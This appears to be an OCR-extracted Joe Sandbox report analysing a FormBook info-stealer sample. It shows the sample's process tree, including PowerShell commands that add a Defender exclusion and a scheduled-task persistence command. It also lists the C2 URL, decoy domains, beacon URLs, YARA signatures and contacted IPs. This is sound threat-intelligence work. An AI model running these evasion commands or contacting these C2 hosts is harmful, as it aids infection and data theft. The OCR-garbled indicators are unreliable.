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Windows Analysis Report vbhc.exe

. . Sample uses process hollowing tech...
Most interesting Screenshot: p p g

Overview
General Information Detection Signatures Classification
Sample vbc.exe
Name: MALICIOUS Found malware configuration
Analysis ID: 518412 Snort IDS alert for network traffic (e....
MD5:
c4albdd685e346.. Yara detected FormBook
SHAL:
Bbsfccadcf1977f... Malicious sample detected (through ...
SHA256: 728b23f75¢1140a. "
Yara detected AntiVM3
nfos: nBQsnQ —— :
Antivirus detection for URL or domain
bV
Form BOOk Maps a DLL or. memory area into an...
Score: 100 Tries to detect sandboxes and other...
Range: 0-100 Sigma detected: Suspicius AddiTas...
Whitelisted: false
X Performs DNS queries to.domains w...
Confidence: 100%
P

ree

= System is w10x64

e [ vbc.exe (PID: 6420 cmdline: "C:\Users\user\Desktop\vbc.exe" MD5: C4A1BDD685E346B7604F93357A922875)
o E¥ powershell.exe (PID: 6604 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roamin
g\uZlkYhlkeLeaKC.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
. conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ schtasks.exe (PID: 6624 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uZlkYhlkeLeaKC" /XML "C:\Users\user\AppData\Local\Temp\tmpAAG8.tmp MD5:
15FF7D8324231381BAD48A052F85DF04)
. conhost.exe (PID: 6760 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ vbc.exe (PID: 6824 cmdline: C:\Users\user\Desktop\vbc.exe MD5: C4A1BDD685E346B7604F93357A922875)
o [ explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
o [E1 help.exe (PID: 6756 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)
= cleanup

Malware Configuration

Threatname: FormBook

Copyright Joe Security LLC 2021 Page 4 of 32



"C2 list": [
"www. septemberstockevent200.com/ht08/"

1,

"decoy": [
"joye.club",
"istanbulemlakgalerisi.online”,
"annikadaniel. love",
"oooci.com",
"curebase-test.com",
"swisstradecenter.com”,
"hacticum.com”,
"centercodebase.com”,
"recbi5éni.com”,
"mmj0115.xyz",
"sharpstead.com”,
"sprklbeauty.com",
"progettogenesi.cloud”,
"dolinum.com",
"amaroqadvisors.com",
"traininig.com"”,
"leewaysvcs.com",
"nashhomesearch.com”,
"joy1263.com",
"serkanyamac.com",
"nursingprogramsforme.com”,
"huakf.com",
"1w3.online",
"watermountstean. top”,
"tyralruutan.quest”,
"mattlambert.xyz",
"xn--fiqs8sypgfujblda.xn--czru2d”,
"hfgoal.com",
"587868.net",
"noyoucantridemyonewheel.com"”,
"riewesell.top",
"expn.asia",
"suplementarsas.com",
"item154655544.com",
"cdgdentists.com”,
"deboraverdian.com”,
"franquiciasexclusivas.tienda”,
"tminus-10.com",
"psychoterapeuta-wroclaw.com”,
"coachingbywatson.com",
"lknitti.net",
"belenpison.agency",
"facilitetec.com”,
"99077600.com",
"thefitmog.com",
"kinmanpowerwashing.com",
"escueladelbuenamor.com",
"getjoyce.net",
"oilelm.com",
"maikoufarm.com”,
"hespresso.net”,
"timothyschmallrealt.com”,
"knoxvilleraingutters.com”,
"roonkingagency.online"”,
"trashwasher.com",
"angyfoods.com",
"yungbredda.com”,
"digipoint-entertainment.com"”,
"shangduli.space”,
"kalaraskincare.com”,
"ktnsound.xyz",
"miabellavita.com",
"thenlpmentor.com",
"marzhukov.com"

Yara Overview

Memory Dumps

Source Rule

00000008.00000002.343817848.00000000012F0000.00000 JoeSecurity_FormBook
040.00020000.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

00000008.00000002.343817848.00000000012F0000.00000 Formbook_1

040.00020000.sdmp

00000008.00000002.343817848.00000000012F0000.00000 Formbook

040.00020000.sdmp

Rule Description

yara-signator

memory

00000008.00000000.261930236.0000000000400000.00000 JoeSecurity_FormBook  Yara detected

040.00000001.sdmp

00000008.00000000.261930236.0000000000400000.00000 Formbook_1

040.00000001.sdmp

Unpacked PEs

Source

8.0.vbc.exe.400000.6.raw.unpack

8.0.vbc.exe.400000.6.raw.unpack

8.0.vbc.exe.400000.6.raw.unpack

8.0.vbc.exe.400000.6.unpack

8.0.vbc.exe.400000.6.unpack

Copyright Joe Security LLC 2021

FormBook

yara-signator

Click to see the 30 entries

Rule Description
JoeSecurity_FormBook  Yara detected
FormBook
Formbook_1 autogenerated rule
brought to you by
yara-signator
Formbook detect Formbook in

memory

JoeSecurity_FormBook Yara detected
FormBook

Formbook_1

yara-signator

Click to see the 23 entries

autogenerated rule
brought to you by

detect Formbook in

autogenerated rule
brought to you by

autogenerated rule
brought to you by

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e o o o

e o o o

e o o o o o

0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox14lal:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlacba:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x16ad9:$sqlite3step: 68 34 1C 7B E1
0x16bec:$sqlite3step: 68 34 1C 7B E1
0x16b08:$sqlite3text: 68 38 2A 90 C5
0x16c2d:$sqlite3text: 68 38 2A 90 C5
0x16b1b:$sqlite3blob: 68 53 D8 7F 8C
0x16c43:$sqlite3blob: 68 53 D8 7F 8C

e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e o o o

e o o o

0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox14lal:$sequence_2: 3B 4F 14 739585 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlac5a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

.

e o o o

e o o o

e o o o o o

.

e o o o

e o o o

0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14lal:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlacba:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x16ad9:$sqlite3step: 68 34 1C 7B E1
0x16bec:$sqlite3step: 68 34 1C 7B E1
0x16b08:$sqlite3text: 68 38 2A 90 C5
0x16c2d:$sqlite3text: 68 38 2A 90 C5
0x16b1b:$sqlite3blob: 68 53 D8 7F 8C
0x16c43:$sqlite3blob: 68 53 D8 7F 8C

0x7808:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0Ox7ba2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x133al:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0Ox18da7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19e5a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

System Summary:

Sigma detected: Non Interactive PowerShell

Sigma detected: T1086 PowerShell Execution

Jbx Signature Overview

@ Click to jump to signature section

AV Detection:

=

Found malware configuration
Yara detected FormBook

Antivirus detection for URL or domain

]

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

=

E-Banking Fraud:

Yara detected FormBook

System Summary:

‘ =

Malicious sample detected (through community Yara rule)

Data Obfuscation:

]‘E

Boot Survival:

]‘

Malware Analysis System Evasion:

Yara detected AntiVM3

=

HIPS | PFW | Operating System Protection Evasion:

Copyright Joe Security LLC 2021 Page 7 of 32



System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Scheduled  Scheduled  Process Masquerading Input Query Registry Remote Input Exfiltration  Encrypted Eavesdrop ¢
Accounts Task/Job g§ Task/Job Injection Capture Services Capture g§ Over Other Channel Insecure
Network Network
Medium Communica
Default Shared Boot or Scheduled Disable or Modify LSASS Security Software Remote Archive Exfiltration  Ingress Tool Exploit SS7
Accounts Modules Logon Task/Job Tools Memory  Discovery Desktop Collected  Over Transfer Redirect Phi
Initialization Protocol Data Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Logon Script Virtualization/Sandbox  Security Process Discovery SMB/Windows Data from Automated Non- Exploit SS7
Accounts (Windows)  (Windows) Evasion Account Admin Shares Network  Exfiltration Application Track Devic
Manager Shared Layer Location
Drive Protocol
Local At Logon Script Logon Script Process NTDS Virtualization/Sandbox Distributed Input Scheduled Application SIM Card
Accounts  (Windows)  (Mac) (Mac) Injection (B Evasion Component  Capture  Transfer  Layer
Object Model Protocol
Cloud Cron Network Network Logon  Obfuscated Filesor ~ LSA Application Window  SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Information Secrets Discovery Transfer Channels Device
Size Limits Communica
Replication  Launchd Rc.common  Rc.common Software Cached Remote System VNC GUI Input  Exfiltration  Multiband Jamming or
Through Packing Domain Discovery Capture Over C2 Communication Denial of
Removable Credentials Channel Service
Media
External Scheduled  Startup Startup Items Compile After DCSync File and Directory Windows Web Exfiltration  Commonly Rogue Wi-F
Remote Task Items Delivery Discovery Remote Portal Over Used Port Access Poir
Services Management Capture  Alternative
Protocol
Drive-by Command  Scheduled  Scheduled Indicator Removal Proc System Information Shared Credential Exfiltration Application Downgrade
Compromise and Task/Job Task/Job from Tools Filesystem Discovery Webroot API Over Layer Protocol Insecure
Scripting Hooking ~ Symmetric Protocols
Interpreter Encrypted
Non-C2
Protocol

Behavior Graph

Copyright Joe Security LLC 2021
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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mBa

LSBIHQFDVT EFOYFBOLXA
DC

GIGIYTFFYT

JDDHMPC  DUUDTUB

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link
8.0.vbc.exe.400000.6.unpack 100% Avira TR/Crypt.ZPACK.Gen
8.2.vbc.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen
8.0.vbc.exe.400000.4.unpack 100% Avira TR/Crypt.ZPACK.Gen
8.0.vbc.exe.400000.8.unpack 100% Avira TR/Crypt.ZPACK.Gen
Domains

Source Detection Scanner Label
www.miabellavita.com 0% Virustotal

mattlambert.xyz 4% Virustotal

URLs

Copyright Joe Security LLC 2021

Download

Download File
Download File
Download File

Download File

Link
Browse

Browse
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https://www.virustotal.com/gui/url/6a1c3f8971c3e37040996a35143eaf6e7de600df709b269753410b1b63502c58/detection/u-6a1c3f8971c3e37040996a35143eaf6e7de600df709b269753410b1b63502c58-1524042189
https://www.virustotal.com/gui/url/d086e100f9a11424d49d5818c30953a059990f459061a532fed123d268894d1c/detection/u-d086e100f9a11424d49d5818c30953a059990f459061a532fed123d268894d1c-1636221691

Source Detection Scanner Label Link
www.septemberstockevent200.com/ht08/ 0% Avira URL Cloud safe

http:/fwww.septemberstockevent200.com/ht08/? 0% Avira URL Cloud safe
1JB=YVcVQnADBOXtkiziBPwpXZC8MGRy3pUK9Tt3i8wwHZUtpCp/3ZP4J1retOso95pi3Qz1GtSatg==&lf
NL=N8ph5BwH

http:/fwww.maikoufarm.com/ht08/? 0% Avira URL Cloud safe
iIJB=Nn3GQotxroHeSkioJYlyOg7hZYbVcqG0YP1z9npFKY7KnSOBRhEQe9RIFIOMVZ+9dT/G4+QaxQ=
=&IfNL=N8ph5BwH

hitp://www.miabellavita.com/ht08/? 0% AviraURL Cloud  safe
iJB=7p5yDMcVtDK+2VMLZex1Kw5Dal8n+amtJoDm972Jkr9Bm6oPOM+PHzWXusl+HrepgAW+ZRiK3Q
==&IfNL=N8ph5BwH

http:/fwww.sharpstead.com/ht08/? 0% Avira URL Cloud safe
1JB=mF30mN7A1kBKKp3mrHfcBE8aj8d3j5TIPkteVWKSLKWLOx2hCorpOf84nkchs5VIH8t4m40IHQ==&If
NL=N8ph5BwH

http:/fwww.mmj0115.xyz/ht08/? 0% Avira URL Cloud safe
iJB=wOE3x7GIWdnAHRhNnI1Z2es1853h2m7xTnUUyaHfOEMpp2ijSNZFAPBiIYMZ80Da0iVaPeuYXsZg==
&IfNL=N8ph5BwH

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

mattlambert.xyz 34.102.136.180 true false * 4%, Virustotal, Browse unknown
z010-gp-hk-06-75-adfh31.greycdn.net 103.118.81.108 true false unknown

joye.club 34.102.136.180 true false unknown

yungbredda.com 34.102.136.180 true false unknown

ghs.googlehosted.com 142.250.203.115 true false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:/fwww.joye.club/ht08/? false e Avira URL Cloud: phishing unknown
iJB=fVUe8feYpN4PFMr+KvtZZrG4xoghHK64bhP/N9fXdzCzpP/t7TmUgEUgRNIKHZLETABKSB
cDy+g==&IfNL=N8ph5BwH

hitp://www.mattlambert.xyz/ht08/? false e Avira URL Cloud: phishing unknown
iIB=tWyE4dKPScuS56voJaD4LHzf4KVLRr2HjGj+VImFA/OBKTQ5rlgivVQpU1linoYX1Wdu+PE
boiA==&IfNL=N8ph5BwH

Copyright Joe Security LLC 2021 Page 11 of 32


https://www.virustotal.com/gui/url/6a1c3f8971c3e37040996a35143eaf6e7de600df709b269753410b1b63502c58/detection/u-6a1c3f8971c3e37040996a35143eaf6e7de600df709b269753410b1b63502c58-1524042189
https://www.virustotal.com/gui/url/d086e100f9a11424d49d5818c30953a059990f459061a532fed123d268894d1c/detection/u-d086e100f9a11424d49d5818c30953a059990f459061a532fed123d268894d1c-1636221691

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

Domain Country Flag ASN Name Malicious

34.102.136.180 mattlambert.xyz United States 15169 GOOGLEUS false

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Copyright Joe Security LLC 2021

34.0.0 Boulder Opal
518412

09.11.2021
12:55:04
CloudBasic

Oh 10m 45s

false

light

vbc.exe

default.jbs
Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
29

» O O O

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]
default
Timeout
MAL
mal100.troj.evad.WinEXE@10/8@14/6
Failed

e Successful, ratio: 2.8% (good quality ratio 2.6%)
e Quality average: 75.8%
e Quality standard deviation: 29.3%

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All
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Simulations

Behavior and APIs

Time Type Description
12:56:03 API Interceptor
12:56:08 API Interceptor

Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256

118.27.122.222 Get hash

Get hash

44.227.65.245

Get hash

Get hash

Get hash

Copyright Joe Security LLC 2021

1x Sleep call for process: vbc.exe modified

41x Sleep call for process: powershell.exe modified

Detection

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Context

o www.nekom

ediphile.c
om/n8rn/?p
2M=BeS87Fo
XxVkTke2MRb
0gima65PDc
e7tIfTymmK
4/q26KFALP
rWppSbx1BH
8kQDaEu6kD
G&zFNL=5]K
AUHQH-rXmT

www.ch-fo
ster.com/n6be/?
a6=2t
OAPCEgYTHD
567WF8Xvxx
EvgHLBbIMX
TAUhjj7+D0
ChXZUXC+Pn
67n//wgOXK
B52YMX&4hY
|1=8pPLKztP
MLrhEvWP

www.dietj
akarta.com/s2qi/?
TJIELpfLP=qOza
ZkHAVVIGDr
a8bh90OWW7CQ
PYry4NAftY
20ZLUdYfYD
TW+xNyVbwU
9NOeXebbzy
Ocbp&IZwxY
z=y6AldH-

www.kisah
Xyz/sywu/?
8p2=USn/s
IN3gxIF4+E
yQZdH7vYZi
5c¢G3dzFHZR
q094C2q7bk
P8vgLkNegT
qpl4nFiAPI
y6Ubg==&3f
=O0ItDIRtH

www.brunc
hy.one/z4m5/?
8pW8=zN
PWEZz3pIEHi
bvS4bsIXDP
iznK4rKMrv
GAhmY+HWnO
Py3ASbh809g
br8Dwg2gtf
10JLni&gD=-
ZfPOL
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https://view.joesandbox.com/analysis/402145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/402145/html/none?idtype=webid
https://view.joesandbox.com/analysis/387866/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387866/html/none?idtype=webid
https://view.joesandbox.com/analysis/407592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407592/html/none?idtype=webid
https://view.joesandbox.com/analysis/407160/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407160/html/none?idtype=webid
https://view.joesandbox.com/analysis/406316/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406316/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

* www.innoa
ttic.com/bs8f/?
3fKPR
DU=gPvbgkU
rDAv1uZACg
3TlaloGEdP
Tt04jzJdg2
9vz63COe4p
03SEL16juz
WtXBmvFy2F
4&0f=9rSLD
PtHxj9hfT

o www.fleet
ton.com/fqiq/?
08CT3r
=3MX+rGévd
Ldtgz7jmcj
GUKQb8RZ/W
1i45]SOZX8
Y4yp8kay6z
bO3XF8pw6E
X/prOJZed&
fB8P=4hMPV
F78e

o www.jades
rc.com/nc26/?
SBZL=d3
TYBFuVdrdz
P8EyjnH49S
iPUjZ6Ux+6
cUTZgX+JgS
79U008rbgz
B6CXYuXQkXk
TXNal/&D48
=c2MHtVYHN
XCxXp7

o www.20304
0302.xyz/pufi/?
4hb=4
hixbv&4h=S
azsJgrxJud
NglYiRzL30
zLk5u53x10
1dSvrBHbbk
0SB79U4uRU
KWEJGSj7nx
n+KPfiwTyd
4PQ==

e www.indig
obunk.com/
b4a0/?EIBH
HDyP=BfJ5B
X9UPWURIZP
3b2BXXNISn
gsTafG3IcH
0rf8/gIGUg
H6boOVAWO06
sJRU4KduduU
Ljy&y48=8pnHII3

e www.sharp
stead.com/ht08/?
edR=
mF30MN7A1k
BKKp3mrHfc
BEB8aj8d3j5
TIPkteVWKS
LkWLOx2hCo
rpOf84nnwy
v5pwOfYug&j
2MXQ6=3fH4
ADA

* www.magen
tavar.com/upi8/?
B6=q
+sSkz7sAWA
4yBB5hWVCx
KsuYiMLYHW
GeaAggxOaM
a4Qocc6YFk
dsfdinLpG1
SJIGI/AX9Q=
=&1bFX=0dhH
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https://view.joesandbox.com/analysis/405845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405845/html/none?idtype=webid
https://view.joesandbox.com/analysis/405802/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405802/html/none?idtype=webid
https://view.joesandbox.com/analysis/405332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405332/html/none?idtype=webid
https://view.joesandbox.com/analysis/403002/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403002/html/none?idtype=webid
https://view.joesandbox.com/analysis/402895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/402895/html/none?idtype=webid
https://view.joesandbox.com/analysis/402178/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/402178/html/none?idtype=webid
https://view.joesandbox.com/analysis/400703/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400703/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.thr33
h3ad3ddrag
on.art/upi8/?
vzr=YyC
vSGoAtncS4
QUVQZyNjC8
clPInO/XAn
I'SRYtWYOb
uq7vZ6yNDf
+1DgJ4JQv1
LHvgP&8pm4
=_I6t

www.analytico-
australis.com/c
249/?B48dy
rUp=M3oufG
H8BmM9b66gz
FBXIXSE22z
EX1ZdvV3sO
jXFBFhL2n1
u58ThTRysE
XKK/18JgYo
T+&0Z=YIPh
VdwxfPPXAPX

www.fleet
ton.com/fqiq/?
0JE=3M
X+rGévdLdt
9z7jmcjGUK
Qb8RZ/Wti4
5]SOZX8Y4y
p8kay6zbO3
XF8pw6EX/p
r0JZe4&u6K
Lb=Wp6xUréh5

www.fleet
ton.com/fqiq/?
k2Mtd=
0bGdKhdpsj
ULqrw&idzZ4
jR=3MX+rG
6qdMdpgj3v
kcjGUKQb8R
Z/Wti45jKe
FUQZ8Sp9kr
e80Lf7BBEr
zfoB75v9Ca
Dlsg==

www.nothe
rnballet.c
om/sch0/?P
0=0JTIyACW
MBuUXH8n/Ez
WjLujKpZPX
VTg1NdfRIz
qlYFKP8QC8
fyVAQXGjBd
WKIBhRd6mMD
&XX=8pjHVFIONV

www.jades
helf.com/p4qi/?
2d90b
V=1bBLMh&X
4=p5BmMS75
AIJtgYVVIE
DbSkCSvpUz
gvUEAewD9F
+BpXWJwpte
yHVtZROKel
s1fz0BLcml

www.keenf
lat.com/mOnp/?
7n6T=A
0GTW8QxnP4
hPnA&ETJI8p
Hk=JnbxNM/
rTFifoybGW
xgKaXuLsTV
7lalyqj1QG
2sxyl+1c2r
YA5SuUNyU7n
bkA5B+D+0NP
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https://view.joesandbox.com/analysis/400415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid
https://view.joesandbox.com/analysis/399840/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399840/html/none?idtype=webid
https://view.joesandbox.com/analysis/395803/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395803/html/none?idtype=webid
https://view.joesandbox.com/analysis/395793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395793/html/none?idtype=webid
https://view.joesandbox.com/analysis/395759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395759/html/none?idtype=webid
https://view.joesandbox.com/analysis/390442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390442/html/none?idtype=webid
https://view.joesandbox.com/analysis/386586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386586/html/none?idtype=webid

Match

Domains

Match
www.sharpstead.com

ghs.googlehosted.com

www.miabellavita.com
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SHA 256
Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash

Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

Detection
malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Link
Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Context

o www.keenf
lat.com/mOnp/?
18=JInbxNM/rTFifo
ybGWxgKaXu
LsTV7lalyq
j1QG2sxy/+
1c2rYA5SuN
yU7nbkgmxO
D62FP&YZsP
Jr=HJEL06c80X

* www.comme
ntcard.clu
b/9gdg/?-Z
y0C=qf3xI6
MENRZ21DZ7
gzuwiwLEYs
FOD+EdiSex
sqSt7LhuNU
dogHACIO8b
ybDoj5UhYm
+TCOWmMJA==
&IN=5jot7b-

o www.bitty
wire.com/qs23/?
m6A=h
18hup_P5x&
5jOl7vex=i
POxukhXBAs
Ls4o0+4LAMq
W8CT7tgqrmiT
Z/jO8INLuzZ
c/21gA7KIS
zfXAISNVIF
H5MmYiJAE
Xuw==

Context

44.227.65.245

142.250.20
3.115

216.58.206.83
216.58.208.147

142.250.18
5.179

142.250.18
5211

172.217.168.51

142.250.18
5.211

142.250.18
5211

142.250.18
1.243

142.250.18
1.243

142.250.18
1.243

142.250.18
1.243

142.250.18
1.243

172.217.168.51
172.217.168.51
172.217.168.51

142.250.20
3.115

142.250.20
3.115

142.250.20
3.115
142.250.20
3.115
172.67.132.7
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https://view.joesandbox.com/analysis/385692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385692/html/none?idtype=webid
https://view.joesandbox.com/analysis/384203/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384203/html/none?idtype=webid
https://view.joesandbox.com/analysis/382714/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382714/html/none?idtype=webid
https://view.joesandbox.com/analysis/402178/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/402178/html/none?idtype=webid
https://view.joesandbox.com/analysis/407393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407393/html/none?idtype=webid
https://view.joesandbox.com/analysis/407274/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407274/html/none?idtype=webid
https://view.joesandbox.com/analysis/407239/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407239/html/none?idtype=webid
https://view.joesandbox.com/analysis/406586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406586/html/none?idtype=webid
https://view.joesandbox.com/analysis/406405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406405/html/none?idtype=webid
https://view.joesandbox.com/analysis/406246/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406246/html/none?idtype=webid
https://view.joesandbox.com/analysis/406217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406217/html/none?idtype=webid
https://view.joesandbox.com/analysis/406212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406212/html/none?idtype=webid
https://view.joesandbox.com/analysis/405320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405320/html/none?idtype=webid
https://view.joesandbox.com/analysis/405130/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405130/html/none?idtype=webid
https://view.joesandbox.com/analysis/405077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405077/html/none?idtype=webid
https://view.joesandbox.com/analysis/405050/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405050/html/none?idtype=webid
https://view.joesandbox.com/analysis/404876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404876/html/none?idtype=webid
